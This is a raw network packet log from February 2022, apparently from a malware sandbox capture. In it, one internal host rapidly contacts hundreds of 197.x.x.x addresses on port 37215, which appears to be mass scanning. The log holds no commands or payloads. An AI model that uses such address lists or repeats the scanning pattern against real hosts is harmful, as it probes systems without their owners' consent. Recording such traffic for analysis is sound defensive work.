Feb 20, 2022 16:02:42.538067102 CET	27221	37215	192.168.2.23	197.1.225.225
Feb 20, 2022 16:02:42.538088083 CET	27221	37215	192.168.2.23	197.63.82.101
Feb 20, 2022 16:02:42.538220882 CET	27221	37215	192.168.2.23	197.191.188.54
Feb 20, 2022 16:02:42.538229942 CET	27221	37215	192.168.2.23	197.222.70.44
Feb 20, 2022 16:02:42.538232088 CET	27221	37215	192.168.2.23	197.137.54.38
Feb 20, 2022 16:02:42.538232088 CET	27221	37215	192.168.2.23	197.213.9.93
Feb 20, 2022 16:02:42.538233995 CET	27221	37215	192.168.2.23	197.141.215.201
Feb 20, 2022 16:02:42.538235903 CET	27221	37215	192.168.2.23	197.120.224.103
Feb 20, 2022 16:02:42.538259983 CET	27221	37215	192.168.2.23	197.20.72.38
Feb 20, 2022 16:02:42.538281918 CET	27221	37215	192.168.2.23	197.20.216.205
Feb 20, 2022 16:02:42.538311958 CET	27221	37215	192.168.2.23	197.18.57.84
Feb 20, 2022 16:02:42.538328886 CET	27221	37215	192.168.2.23	197.55.145.5
Feb 20, 2022 16:02:42.538357019 CET	27221	37215	192.168.2.23	197.170.28.46
Feb 20, 2022 16:02:42.538383961 CET	27221	37215	192.168.2.23	197.163.167.180
Feb 20, 2022 16:02:42.538409948 CET	27221	37215	192.168.2.23	197.224.9.147
Feb 20, 2022 16:02:42.538431883 CET	27221	37215	192.168.2.23	197.22.1.9
Feb 20, 2022 16:02:42.538451910 CET	27221	37215	192.168.2.23	197.248.31.201
Feb 20, 2022 16:02:42.538476944 CET	27221	37215	192.168.2.23	197.152.53.224
Feb 20, 2022 16:02:42.538502932 CET	27221	37215	192.168.2.23	197.13.9.162
Feb 20, 2022 16:02:42.538522959 CET	27221	37215	192.168.2.23	197.194.100.18
Feb 20, 2022 16:02:42.538652897 CET	27221	37215	192.168.2.23	197.66.21.204
Feb 20, 2022 16:02:42.538661957 CET	27221	37215	192.168.2.23	197.221.19.112
Feb 20, 2022 16:02:42.538671970 CET	27221	37215	192.168.2.23	197.163.153.73
Feb 20, 2022 16:02:42.538681984 CET	27221	37215	192.168.2.23	197.55.99.241
Feb 20, 2022 16:02:42.538697958 CET	27221	37215	192.168.2.23	197.84.208.150
Feb 20, 2022 16:02:42.538719893 CET	27221	37215	192.168.2.23	197.113.162.178
Feb 20, 2022 16:02:42.538723946 CET	27221	37215	192.168.2.23	197.56.44.73
Feb 20, 2022 16:02:42.538744926 CET	27221	37215	192.168.2.23	197.49.190.229
Feb 20, 2022 16:02:42.538758039 CET	27221	37215	192.168.2.23	197.255.65.129
Feb 20, 2022 16:02:42.538784981 CET	27221	37215	192.168.2.23	197.29.67.167
Feb 20, 2022 16:02:42.538810015 CET	27221	37215	192.168.2.23	197.104.8.72
Feb 20, 2022 16:02:42.538836002 CET	27221	37215	192.168.2.23	197.0.36.98
Feb 20, 2022 16:02:42.538865089 CET	27221	37215	192.168.2.23	197.95.86.86
Feb 20, 2022 16:02:42.538887024 CET	27221	37215	192.168.2.23	197.109.245.121
Feb 20, 2022 16:02:42.538907051 CET	27221	37215	192.168.2.23	197.52.122.74
Feb 20, 2022 16:02:42.538989067 CET	27221	37215	192.168.2.23	197.130.121.10
Feb 20, 2022 16:02:42.538994074 CET	27221	37215	192.168.2.23	197.244.244.35
Feb 20, 2022 16:02:42.539000988 CET	27221	37215	192.168.2.23	197.157.41.190
Feb 20, 2022 16:02:42.539006948 CET	27221	37215	192.168.2.23	197.190.248.153
Feb 20, 2022 16:02:42.539036036 CET	27221	37215	192.168.2.23	197.65.160.159
Feb 20, 2022 16:02:42.539062977 CET	27221	37215	192.168.2.23	197.139.180.246
Feb 20, 2022 16:02:42.539089918 CET	27221	37215	192.168.2.23	197.230.103.116
Feb 20, 2022 16:02:42.539119005 CET	27221	37215	192.168.2.23	197.44.85.170
Feb 20, 2022 16:02:42.539138079 CET	27221	37215	192.168.2.23	197.32.241.161
Feb 20, 2022 16:02:42.539165974 CET	27221	37215	192.168.2.23	197.143.170.9
Feb 20, 2022 16:02:42.539187908 CET	27221	37215	192.168.2.23	197.166.61.147
Feb 20, 2022 16:02:42.539213896 CET	27221	37215	192.168.2.23	197.144.187.30
Feb 20, 2022 16:02:42.539242029 CET	27221	37215	192.168.2.23	197.116.182.194
Feb 20, 2022 16:02:42.539251089 CET	27221	37215	192.168.2.23	197.70.177.246
Feb 20, 2022 16:02:42.539290905 CET	27221	37215	192.168.2.23	197.191.128.32
Feb 20, 2022 16:02:42.539314985 CET	27221	37215	192.168.2.23	197.110.222.4
Feb 20, 2022 16:02:42.539345980 CET	27221	37215	192.168.2.23	197.99.241.67
Feb 20, 2022 16:02:42.539374113 CET	27221	37215	192.168.2.23	197.4.220.221
Feb 20, 2022 16:02:42.539397001 CET	27221	37215	192.168.2.23	197.189.209.50
Feb 20, 2022 16:02:42.539427996 CET	27221	37215	192.168.2.23	197.194.216.49
Feb 20, 2022 16:02:42.547389030 CET	27477	37215	192.168.2.23	197.33.200.146
Feb 20, 2022 16:02:42.547435045 CET	27477	37215	192.168.2.23	197.19.57.146
Feb 20, 2022 16:02:42.547462940 CET	27477	37215	192.168.2.23	197.221.193.34
Feb 20, 2022 16:02:42.547486067 CET	27477	37215	192.168.2.23	197.179.137.157
Feb 20, 2022 16:02:42.547540903 CET	27477	37215	192.168.2.23	197.112.110.210
Feb 20, 2022 16:02:42.547584057 CET	27477	37215	192.168.2.23	197.139.69.74
Feb 20, 2022 16:02:42.547681093 CET	27477	37215	192.168.2.23	197.102.136.42
Feb 20, 2022 16:02:42.547698975 CET	27477	37215	192.168.2.23	197.122.72.183
Feb 20, 2022 16:02:42.547703028 CET	27477	37215	192.168.2.23	197.125.16.223
Feb 20, 2022 16:02:42.547703028 CET	27477	37215	192.168.2.23	197.142.180.101
Feb 20, 2022 16:02:42.547708035 CET	27477	37215	192.168.2.23	197.117.15.168
Feb 20, 2022 16:02:42.547744036 CET	27477	37215	192.168.2.23	197.199.232.199
Feb 20, 2022 16:02:42.547772884 CET	27477	37215	192.168.2.23	197.156.219.124
Feb 20, 2022 16:02:42.547790051 CET	27477	37215	192.168.2.23	197.84.219.243
Feb 20, 2022 16:02:42.547795057 CET	27477	37215	192.168.2.23	197.255.25.35
Feb 20, 2022 16:02:42.547816992 CET	27477	37215	192.168.2.23	197.37.167.170
Feb 20, 2022 16:02:42.547832012 CET	27477	37215	192.168.2.23	197.147.198.212
Feb 20, 2022 16:02:42.547832012 CET	27477	37215	192.168.2.23	197.242.218.157
Feb 20, 2022 16:02:42.547868013 CET	27221	37215	192.168.2.23	197.62.84.243
Feb 20, 2022 16:02:42.547878027 CET	27477	37215	192.168.2.23	197.100.205.68
Feb 20, 2022 16:02:42.547889948 CET	27477	37215	192.168.2.23	197.171.203.232
Feb 20, 2022 16:02:42.547895908 CET	27477	37215	192.168.2.23	197.28.141.57
Feb 20, 2022 16:02:42.547900915 CET	27221	37215	192.168.2.23	197.237.235.198
Feb 20, 2022 16:02:42.547921896 CET	27477	37215	192.168.2.23	197.99.173.16
Feb 20, 2022 16:02:42.547928095 CET	27221	37215	192.168.2.23	197.157.207.124
Feb 20, 2022 16:02:42.547961950 CET	27221	37215	192.168.2.23	197.39.216.79
Feb 20, 2022 16:02:42.548106909 CET	27477	37215	192.168.2.23	197.154.203.130
Feb 20, 2022 16:02:42.548110008 CET	27221	37215	192.168.2.23	197.97.247.173
Feb 20, 2022 16:02:42.548111916 CET	27477	37215	192.168.2.23	197.250.6.161
Feb 20, 2022 16:02:42.548115015 CET	27221	37215	192.168.2.23	197.132.253.89
Feb 20, 2022 16:02:42.548129082 CET	27477	37215	192.168.2.23	197.10.52.21
Feb 20, 2022 16:02:42.548134089 CET	27221	37215	192.168.2.23	197.161.185.42
Feb 20, 2022 16:02:42.548135042 CET	27221	37215	192.168.2.23	197.4.198.253
Feb 20, 2022 16:02:42.548141003 CET	27477	37215	192.168.2.23	197.137.170.145
Feb 20, 2022 16:02:42.548150063 CET	27221	37215	192.168.2.23	197.218.165.210
Feb 20, 2022 16:02:42.548161983 CET	27477	37215	192.168.2.23	197.101.189.56
Feb 20, 2022 16:02:42.548167944 CET	27221	37215	192.168.2.23	197.5.243.214
Feb 20, 2022 16:02:42.548171043 CET	27221	37215	192.168.2.23	197.14.37.45
Feb 20, 2022 16:02:42.548177004 CET	27477	37215	192.168.2.23	197.49.154.105
Feb 20, 2022 16:02:42.548180103 CET	27221	37215	192.168.2.23	197.115.144.88
Feb 20, 2022 16:02:42.548182964 CET	27477	37215	192.168.2.23	197.149.122.172
Feb 20, 2022 16:02:42.548192978 CET	27477	37215	192.168.2.23	197.166.121.161
Feb 20, 2022 16:02:42.548194885 CET	27221	37215	192.168.2.23	197.223.219.219
Feb 20, 2022 16:02:42.548213005 CET	27477	37215	192.168.2.23	197.192.27.125
Feb 20, 2022 16:02:42.548227072 CET	27477	37215	192.168.2.23	197.55.85.175
Feb 20, 2022 16:02:42.548242092 CET	27221	37215	192.168.2.23	197.69.181.90
Feb 20, 2022 16:02:42.548247099 CET	27477	37215	192.168.2.23	197.187.159.208
Feb 20, 2022 16:02:42.548261881 CET	27221	37215	192.168.2.23	197.133.61.49
Feb 20, 2022 16:02:42.548275948 CET	27477	37215	192.168.2.23	197.224.52.232
Feb 20, 2022 16:02:42.548281908 CET	27221	37215	192.168.2.23	197.188.142.214
Feb 20, 2022 16:02:42.548281908 CET	27221	37215	192.168.2.23	197.180.227.244
Feb 20, 2022 16:02:42.548441887 CET	27221	37215	192.168.2.23	197.199.136.228
Feb 20, 2022 16:02:42.548444986 CET	27221	37215	192.168.2.23	197.52.125.84
Feb 20, 2022 16:02:42.548448086 CET	27477	37215	192.168.2.23	197.116.28.230
Feb 20, 2022 16:02:42.548449039 CET	27477	37215	192.168.2.23	197.93.25.248
Feb 20, 2022 16:02:42.548453093 CET	27477	37215	192.168.2.23	197.124.199.142
Feb 20, 2022 16:02:42.548465967 CET	27221	37215	192.168.2.23	197.143.142.141
Feb 20, 2022 16:02:42.548466921 CET	27477	37215	192.168.2.23	197.30.4.154
Feb 20, 2022 16:02:42.548469067 CET	27221	37215	192.168.2.23	197.249.106.42
Feb 20, 2022 16:02:42.548476934 CET	27477	37215	192.168.2.23	197.59.191.167
Feb 20, 2022 16:02:42.548479080 CET	27221	37215	192.168.2.23	197.248.145.179
Feb 20, 2022 16:02:42.548485041 CET	27477	37215	192.168.2.23	197.108.156.32
Feb 20, 2022 16:02:42.548486948 CET	27221	37215	192.168.2.23	197.94.202.19
Feb 20, 2022 16:02:42.548489094 CET	27221	37215	192.168.2.23	197.165.167.62
Feb 20, 2022 16:02:42.548497915 CET	27477	37215	192.168.2.23	197.121.136.212
Feb 20, 2022 16:02:42.548501015 CET	27477	37215	192.168.2.23	197.4.74.169
Feb 20, 2022 16:02:42.548506021 CET	27477	37215	192.168.2.23	197.114.197.90
Feb 20, 2022 16:02:42.548516989 CET	27221	37215	192.168.2.23	197.93.22.129
Feb 20, 2022 16:02:42.548523903 CET	27221	37215	192.168.2.23	197.58.120.14
Feb 20, 2022 16:02:42.548532963 CET	27221	37215	192.168.2.23	197.111.44.1
Feb 20, 2022 16:02:42.548533916 CET	27477	37215	192.168.2.23	197.99.30.112
Feb 20, 2022 16:02:42.548542023 CET	27221	37215	192.168.2.23	197.236.98.70
Feb 20, 2022 16:02:42.548549891 CET	27477	37215	192.168.2.23	197.86.189.249
Feb 20, 2022 16:02:42.548553944 CET	27221	37215	192.168.2.23	197.3.146.119
Feb 20, 2022 16:02:42.548557043 CET	27477	37215	192.168.2.23	197.13.159.99
Feb 20, 2022 16:02:42.548578024 CET	27477	37215	192.168.2.23	197.113.32.151
Feb 20, 2022 16:02:42.548600912 CET	27221	37215	192.168.2.23	197.118.105.19
Feb 20, 2022 16:02:42.548613071 CET	27477	37215	192.168.2.23	197.205.92.10
Feb 20, 2022 16:02:42.548616886 CET	27221	37215	192.168.2.23	197.48.165.214
Feb 20, 2022 16:02:42.548645020 CET	27221	37215	192.168.2.23	197.145.170.60
Feb 20, 2022 16:02:42.548649073 CET	27477	37215	192.168.2.23	197.134.144.219
Feb 20, 2022 16:02:42.548788071 CET	27477	37215	192.168.2.23	197.190.150.76
Feb 20, 2022 16:02:42.548789024 CET	27221	37215	192.168.2.23	197.82.62.198
Feb 20, 2022 16:02:42.548795938 CET	27221	37215	192.168.2.23	197.152.105.0
Feb 20, 2022 16:02:42.548800945 CET	27477	37215	192.168.2.23	197.176.49.63
Feb 20, 2022 16:02:42.548801899 CET	27221	37215	192.168.2.23	197.202.117.169
Feb 20, 2022 16:02:42.548800945 CET	27221	37215	192.168.2.23	197.102.116.202
Feb 20, 2022 16:02:42.548814058 CET	27221	37215	192.168.2.23	197.124.44.54
Feb 20, 2022 16:02:42.548814058 CET	27477	37215	192.168.2.23	197.7.40.31
Feb 20, 2022 16:02:42.548815012 CET	27477	37215	192.168.2.23	197.233.172.33
Feb 20, 2022 16:02:42.548820019 CET	27477	37215	192.168.2.23	197.66.240.193
Feb 20, 2022 16:02:42.548821926 CET	27221	37215	192.168.2.23	197.64.241.246
Feb 20, 2022 16:02:42.548830032 CET	27221	37215	192.168.2.23	197.91.198.46
Feb 20, 2022 16:02:42.548834085 CET	27477	37215	192.168.2.23	197.100.130.105
Feb 20, 2022 16:02:42.548835039 CET	27477	37215	192.168.2.23	197.163.230.84
Feb 20, 2022 16:02:42.548841953 CET	27477	37215	192.168.2.23	197.229.53.243
Feb 20, 2022 16:02:42.548850060 CET	27477	37215	192.168.2.23	197.206.33.189
Feb 20, 2022 16:02:42.548851013 CET	27221	37215	192.168.2.23	197.28.112.210
Feb 20, 2022 16:02:42.548852921 CET	27221	37215	192.168.2.23	197.3.134.124
Feb 20, 2022 16:02:42.548863888 CET	27477	37215	192.168.2.23	197.249.83.227
Feb 20, 2022 16:02:42.548872948 CET	27477	37215	192.168.2.23	197.11.182.83
Feb 20, 2022 16:02:42.548876047 CET	27221	37215	192.168.2.23	197.208.168.19
Feb 20, 2022 16:02:42.548892021 CET	27221	37215	192.168.2.23	197.191.3.128
Feb 20, 2022 16:02:42.548904896 CET	27221	37215	192.168.2.23	197.137.42.160
Feb 20, 2022 16:02:42.548907042 CET	27477	37215	192.168.2.23	197.57.120.202
Feb 20, 2022 16:02:42.548923969 CET	27477	37215	192.168.2.23	197.137.226.151
Feb 20, 2022 16:02:42.548926115 CET	27221	37215	192.168.2.23	197.43.196.104
Feb 20, 2022 16:02:42.548944950 CET	27221	37215	192.168.2.23	197.91.240.211
Feb 20, 2022 16:02:42.548945904 CET	27477	37215	192.168.2.23	197.220.163.238
Feb 20, 2022 16:02:42.548968077 CET	27221	37215	192.168.2.23	197.222.41.81
Feb 20, 2022 16:02:42.549057007 CET	27221	37215	192.168.2.23	197.200.7.44
Feb 20, 2022 16:02:42.549057961 CET	27477	37215	192.168.2.23	197.205.62.120
Feb 20, 2022 16:02:42.549071074 CET	27221	37215	192.168.2.23	197.149.210.84
Feb 20, 2022 16:02:42.549074888 CET	27477	37215	192.168.2.23	197.24.113.53
Feb 20, 2022 16:02:42.549077988 CET	27221	37215	192.168.2.23	197.182.87.201
Feb 20, 2022 16:02:42.549078941 CET	27477	37215	192.168.2.23	197.30.64.83
Feb 20, 2022 16:02:42.549081087 CET	27477	37215	192.168.2.23	197.174.254.154
Feb 20, 2022 16:02:42.549081087 CET	27477	37215	192.168.2.23	197.47.250.115
Feb 20, 2022 16:02:42.549086094 CET	27221	37215	192.168.2.23	197.245.83.67
Feb 20, 2022 16:02:42.549093008 CET	27221	37215	192.168.2.23	197.63.214.243
Feb 20, 2022 16:02:42.549098015 CET	27477	37215	192.168.2.23	197.100.216.33
Feb 20, 2022 16:02:42.549108982 CET	27477	37215	192.168.2.23	197.90.135.181
Feb 20, 2022 16:02:42.549108982 CET	27221	37215	192.168.2.23	197.155.134.39
Feb 20, 2022 16:02:42.549144983 CET	27221	37215	192.168.2.23	197.129.157.225
Feb 20, 2022 16:02:42.549144983 CET	27477	37215	192.168.2.23	197.49.199.115
Feb 20, 2022 16:02:42.549154043 CET	27221	37215	192.168.2.23	197.248.171.205
Feb 20, 2022 16:02:42.549168110 CET	27477	37215	192.168.2.23	197.64.188.3
Feb 20, 2022 16:02:42.549184084 CET	27221	37215	192.168.2.23	197.184.143.225
Feb 20, 2022 16:02:42.549201965 CET	27477	37215	192.168.2.23	197.120.34.28
Feb 20, 2022 16:02:42.549206018 CET	27221	37215	192.168.2.23	197.220.205.188
Feb 20, 2022 16:02:42.549226046 CET	27477	37215	192.168.2.23	197.249.147.85
Feb 20, 2022 16:02:42.549230099 CET	27221	37215	192.168.2.23	197.21.80.115
Feb 20, 2022 16:02:42.549252033 CET	27477	37215	192.168.2.23	197.152.208.38
Feb 20, 2022 16:02:42.549264908 CET	27221	37215	192.168.2.23	197.53.134.50
Feb 20, 2022 16:02:42.549272060 CET	27477	37215	192.168.2.23	197.167.213.38
Feb 20, 2022 16:02:42.549284935 CET	27221	37215	192.168.2.23	197.45.4.28
Feb 20, 2022 16:02:42.549312115 CET	27477	37215	192.168.2.23	197.241.161.123
Feb 20, 2022 16:02:42.549329996 CET	27221	37215	192.168.2.23	197.241.184.12
Feb 20, 2022 16:02:42.549335003 CET	27221	37215	192.168.2.23	197.42.216.181
Feb 20, 2022 16:02:42.549336910 CET	27477	37215	192.168.2.23	197.146.140.27
Feb 20, 2022 16:02:42.549350023 CET	27221	37215	192.168.2.23	197.236.72.213
Feb 20, 2022 16:02:42.549365044 CET	27477	37215	192.168.2.23	197.216.149.3
Feb 20, 2022 16:02:42.549370050 CET	27477	37215	192.168.2.23	197.209.143.128
Feb 20, 2022 16:02:42.549377918 CET	27221	37215	192.168.2.23	197.143.175.121
Feb 20, 2022 16:02:42.549391985 CET	27221	37215	192.168.2.23	197.181.16.86
Feb 20, 2022 16:02:42.549395084 CET	27477	37215	192.168.2.23	197.169.56.31
Feb 20, 2022 16:02:42.549427032 CET	27221	37215	192.168.2.23	197.249.97.218
Feb 20, 2022 16:02:42.549444914 CET	27477	37215	192.168.2.23	197.171.179.108
Feb 20, 2022 16:02:42.549444914 CET	27477	37215	192.168.2.23	197.17.254.22
Feb 20, 2022 16:02:42.549453974 CET	27221	37215	192.168.2.23	197.138.60.178
Feb 20, 2022 16:02:42.549468040 CET	27477	37215	192.168.2.23	197.199.147.49
Feb 20, 2022 16:02:42.549479961 CET	27221	37215	192.168.2.23	197.232.162.13
Feb 20, 2022 16:02:42.549491882 CET	27477	37215	192.168.2.23	197.128.52.132
Feb 20, 2022 16:02:42.549509048 CET	27477	37215	192.168.2.23	197.229.200.132
Feb 20, 2022 16:02:42.549534082 CET	27221	37215	192.168.2.23	197.99.78.136
Feb 20, 2022 16:02:42.549536943 CET	27477	37215	192.168.2.23	197.77.39.200
Feb 20, 2022 16:02:42.549556971 CET	27477	37215	192.168.2.23	197.162.34.114
Feb 20, 2022 16:02:42.549566031 CET	27221	37215	192.168.2.23	197.32.90.129
Feb 20, 2022 16:02:42.549578905 CET	27477	37215	192.168.2.23	197.104.63.242
Feb 20, 2022 16:02:42.549586058 CET	27221	37215	192.168.2.23	197.202.229.238
Feb 20, 2022 16:02:42.549590111 CET	27221	37215	192.168.2.23	197.1.203.35
Feb 20, 2022 16:02:42.549592972 CET	27477	37215	192.168.2.23	197.245.217.37
Feb 20, 2022 16:02:42.549609900 CET	27221	37215	192.168.2.23	197.113.41.82
Feb 20, 2022 16:02:42.549619913 CET	27477	37215	192.168.2.23	197.170.172.39
Feb 20, 2022 16:02:42.549635887 CET	27221	37215	192.168.2.23	197.153.15.65
Feb 20, 2022 16:02:42.549643993 CET	27477	37215	192.168.2.23	197.21.181.197
Feb 20, 2022 16:02:42.549658060 CET	27221	37215	192.168.2.23	197.96.51.207
Feb 20, 2022 16:02:42.549679995 CET	27477	37215	192.168.2.23	197.67.175.92
Feb 20, 2022 16:02:42.549681902 CET	27221	37215	192.168.2.23	197.61.82.190
Feb 20, 2022 16:02:42.549705982 CET	27477	37215	192.168.2.23	197.200.138.120
Feb 20, 2022 16:02:42.549731016 CET	27221	37215	192.168.2.23	197.31.96.117
Feb 20, 2022 16:02:42.549731970 CET	27221	37215	192.168.2.23	197.182.66.136
Feb 20, 2022 16:02:42.549751997 CET	27477	37215	192.168.2.23	197.211.111.193
Feb 20, 2022 16:02:42.549757004 CET	27221	37215	192.168.2.23	197.32.49.249
Feb 20, 2022 16:02:42.549776077 CET	27221	37215	192.168.2.23	197.154.249.99
Feb 20, 2022 16:02:42.549784899 CET	27477	37215	192.168.2.23	197.74.218.165
Feb 20, 2022 16:02:42.549802065 CET	27221	37215	192.168.2.23	197.117.121.119
Feb 20, 2022 16:02:42.549802065 CET	27477	37215	192.168.2.23	197.51.103.160
Feb 20, 2022 16:02:42.549807072 CET	27477	37215	192.168.2.23	197.183.39.47
Feb 20, 2022 16:02:42.549822092 CET	27221	37215	192.168.2.23	197.139.42.168
Feb 20, 2022 16:02:42.549829960 CET	27477	37215	192.168.2.23	197.69.109.98
Feb 20, 2022 16:02:42.549839973 CET	27477	37215	192.168.2.23	197.119.44.35
Feb 20, 2022 16:02:42.549870968 CET	27477	37215	192.168.2.23	197.169.31.158
Feb 20, 2022 16:02:42.549885988 CET	27221	37215	192.168.2.23	197.138.154.111
Feb 20, 2022 16:02:42.549885988 CET	27221	37215	192.168.2.23	197.125.157.216
Feb 20, 2022 16:02:42.549896002 CET	27221	37215	192.168.2.23	197.88.225.170
Feb 20, 2022 16:02:42.549896955 CET	27477	37215	192.168.2.23	197.2.77.49
Feb 20, 2022 16:02:42.549913883 CET	27221	37215	192.168.2.23	197.0.187.13
Feb 20, 2022 16:02:42.549918890 CET	27477	37215	192.168.2.23	197.140.244.108
Feb 20, 2022 16:02:42.549937010 CET	27221	37215	192.168.2.23	197.226.36.55
Feb 20, 2022 16:02:42.549957991 CET	27221	37215	192.168.2.23	197.223.86.42
Feb 20, 2022 16:02:42.549964905 CET	27477	37215	192.168.2.23	197.82.167.77
Feb 20, 2022 16:02:42.549978971 CET	27477	37215	192.168.2.23	197.204.45.175
Feb 20, 2022 16:02:42.549983978 CET	27221	37215	192.168.2.23	197.20.161.138
Feb 20, 2022 16:02:42.549994946 CET	27477	37215	192.168.2.23	197.34.86.34
Feb 20, 2022 16:02:42.550007105 CET	27477	37215	192.168.2.23	197.169.35.7
Feb 20, 2022 16:02:42.550010920 CET	27221	37215	192.168.2.23	197.243.72.31
Feb 20, 2022 16:02:42.550039053 CET	27477	37215	192.168.2.23	197.243.167.186
Feb 20, 2022 16:02:42.550048113 CET	27221	37215	192.168.2.23	197.170.247.58
Feb 20, 2022 16:02:42.550054073 CET	27477	37215	192.168.2.23	197.75.9.250
Feb 20, 2022 16:02:42.550086021 CET	27477	37215	192.168.2.23	197.184.108.250
Feb 20, 2022 16:02:42.550087929 CET	27221	37215	192.168.2.23	197.36.78.183
Feb 20, 2022 16:02:42.550091028 CET	27221	37215	192.168.2.23	197.99.7.40
Feb 20, 2022 16:02:42.550106049 CET	27221	37215	192.168.2.23	197.246.112.167
Feb 20, 2022 16:02:42.550115108 CET	27477	37215	192.168.2.23	197.224.188.88
Feb 20, 2022 16:02:42.550126076 CET	27477	37215	192.168.2.23	197.250.13.33
Feb 20, 2022 16:02:42.550151110 CET	27477	37215	192.168.2.23	197.8.238.183
Feb 20, 2022 16:02:42.550156116 CET	27221	37215	192.168.2.23	197.150.74.6
Feb 20, 2022 16:02:42.550156116 CET	27221	37215	192.168.2.23	197.239.33.84
Feb 20, 2022 16:02:42.550170898 CET	27477	37215	192.168.2.23	197.204.129.174
Feb 20, 2022 16:02:42.550177097 CET	27221	37215	192.168.2.23	197.114.220.252
Feb 20, 2022 16:02:42.550209999 CET	27221	37215	192.168.2.23	197.35.94.232
Feb 20, 2022 16:02:42.550211906 CET	27477	37215	192.168.2.23	197.181.72.39
Feb 20, 2022 16:02:42.550231934 CET	27477	37215	192.168.2.23	197.29.211.225
Feb 20, 2022 16:02:42.550232887 CET	27221	37215	192.168.2.23	197.244.237.244
Feb 20, 2022 16:02:42.550249100 CET	27477	37215	192.168.2.23	197.87.224.95
Feb 20, 2022 16:02:42.550257921 CET	27221	37215	192.168.2.23	197.121.229.187
Feb 20, 2022 16:02:42.550276995 CET	27221	37215	192.168.2.23	197.28.104.27
Feb 20, 2022 16:02:42.550297022 CET	27221	37215	192.168.2.23	197.60.158.210
Feb 20, 2022 16:02:42.550298929 CET	27477	37215	192.168.2.23	197.117.133.136
Feb 20, 2022 16:02:42.550302029 CET	27477	37215	192.168.2.23	197.224.103.224
Feb 20, 2022 16:02:42.550317049 CET	27477	37215	192.168.2.23	197.66.6.215
Feb 20, 2022 16:02:42.550323009 CET	27221	37215	192.168.2.23	197.5.41.227
Feb 20, 2022 16:02:42.550340891 CET	27477	37215	192.168.2.23	197.237.89.144
Feb 20, 2022 16:02:42.550348043 CET	27221	37215	192.168.2.23	197.209.207.174
Feb 20, 2022 16:02:42.550370932 CET	27477	37215	192.168.2.23	197.121.77.177
Feb 20, 2022 16:02:42.550388098 CET	27221	37215	192.168.2.23	197.167.3.66
Feb 20, 2022 16:02:42.550407887 CET	27477	37215	192.168.2.23	197.57.226.105
Feb 20, 2022 16:02:42.550409079 CET	27477	37215	192.168.2.23	197.233.216.33
Feb 20, 2022 16:02:42.550410032 CET	27221	37215	192.168.2.23	197.74.75.135
Feb 20, 2022 16:02:42.550432920 CET	27221	37215	192.168.2.23	197.136.211.80
Feb 20, 2022 16:02:42.550435066 CET	27477	37215	192.168.2.23	197.66.14.44
Feb 20, 2022 16:02:42.550450087 CET	27221	37215	192.168.2.23	197.39.9.63
Feb 20, 2022 16:02:42.550463915 CET	27477	37215	192.168.2.23	197.136.44.55
Feb 20, 2022 16:02:42.550472021 CET	27221	37215	192.168.2.23	197.176.188.94
Feb 20, 2022 16:02:42.550487041 CET	27477	37215	192.168.2.23	197.131.27.212
Feb 20, 2022 16:02:42.550506115 CET	27221	37215	192.168.2.23	197.249.61.144
Feb 20, 2022 16:02:42.550517082 CET	27477	37215	192.168.2.23	197.148.102.141
Feb 20, 2022 16:02:42.550530910 CET	27221	37215	192.168.2.23	197.81.24.165
Feb 20, 2022 16:02:42.550544977 CET	27477	37215	192.168.2.23	197.133.146.231
Feb 20, 2022 16:02:42.550559044 CET	27221	37215	192.168.2.23	197.8.198.238
Feb 20, 2022 16:02:42.550575972 CET	27477	37215	192.168.2.23	197.140.251.98
Feb 20, 2022 16:02:42.550597906 CET	27221	37215	192.168.2.23	197.170.174.111
Feb 20, 2022 16:02:42.550606012 CET	27477	37215	192.168.2.23	197.120.15.59
Feb 20, 2022 16:02:42.550611973 CET	27221	37215	192.168.2.23	197.92.253.74
Feb 20, 2022 16:02:42.550641060 CET	27477	37215	192.168.2.23	197.51.124.117
Feb 20, 2022 16:02:42.550652981 CET	27477	37215	192.168.2.23	197.165.251.117
Feb 20, 2022 16:02:42.550653934 CET	27221	37215	192.168.2.23	197.24.231.159
Feb 20, 2022 16:02:42.550668955 CET	27477	37215	192.168.2.23	197.210.63.240
Feb 20, 2022 16:02:42.550681114 CET	27221	37215	192.168.2.23	197.131.164.175
Feb 20, 2022 16:02:42.550690889 CET	27221	37215	192.168.2.23	197.201.166.196
Feb 20, 2022 16:02:42.550693035 CET	27221	37215	192.168.2.23	197.73.42.204
Feb 20, 2022 16:02:42.550707102 CET	27477	37215	192.168.2.23	197.238.131.227
Feb 20, 2022 16:02:42.550719976 CET	27221	37215	192.168.2.23	197.163.87.66
Feb 20, 2022 16:02:42.550719976 CET	27477	37215	192.168.2.23	197.97.60.219
Feb 20, 2022 16:02:42.550744057 CET	27477	37215	192.168.2.23	197.125.74.143
Feb 20, 2022 16:02:42.550744057 CET	27221	37215	192.168.2.23	197.58.41.71
Feb 20, 2022 16:02:42.550759077 CET	27221	37215	192.168.2.23	197.155.232.75
Feb 20, 2022 16:02:42.550765991 CET	27477	37215	192.168.2.23	197.154.21.159
Feb 20, 2022 16:02:42.550786018 CET	27221	37215	192.168.2.23	197.119.168.1
Feb 20, 2022 16:02:42.550815105 CET	27477	37215	192.168.2.23	197.36.194.30
Feb 20, 2022 16:02:42.550817013 CET	27477	37215	192.168.2.23	197.90.152.102
Feb 20, 2022 16:02:42.550820112 CET	27221	37215	192.168.2.23	197.128.177.91
Feb 20, 2022 16:02:42.550838947 CET	27477	37215	192.168.2.23	197.136.245.74
Feb 20, 2022 16:02:42.550842047 CET	27221	37215	192.168.2.23	197.38.96.248
Feb 20, 2022 16:02:42.550859928 CET	27221	37215	192.168.2.23	197.229.101.11
Feb 20, 2022 16:02:42.550864935 CET	27477	37215	192.168.2.23	197.50.107.199
Feb 20, 2022 16:02:42.550883055 CET	27221	37215	192.168.2.23	197.215.39.198
Feb 20, 2022 16:02:42.550904989 CET	27477	37215	192.168.2.23	197.94.19.181
Feb 20, 2022 16:02:42.550909042 CET	27221	37215	192.168.2.23	197.241.55.2
Feb 20, 2022 16:02:42.550930977 CET	27221	37215	192.168.2.23	197.49.162.151
Feb 20, 2022 16:02:42.550937891 CET	27477	37215	192.168.2.23	197.15.202.120
Feb 20, 2022 16:02:42.550957918 CET	27221	37215	192.168.2.23	197.250.195.251
Feb 20, 2022 16:02:42.550957918 CET	27477	37215	192.168.2.23	197.210.25.11
Feb 20, 2022 16:02:42.550976038 CET	27221	37215	192.168.2.23	197.191.207.7
Feb 20, 2022 16:02:42.550983906 CET	27477	37215	192.168.2.23	197.233.35.180
Feb 20, 2022 16:02:42.550996065 CET	27221	37215	192.168.2.23	197.185.83.154
Feb 20, 2022 16:02:42.551009893 CET	27477	37215	192.168.2.23	197.126.43.227
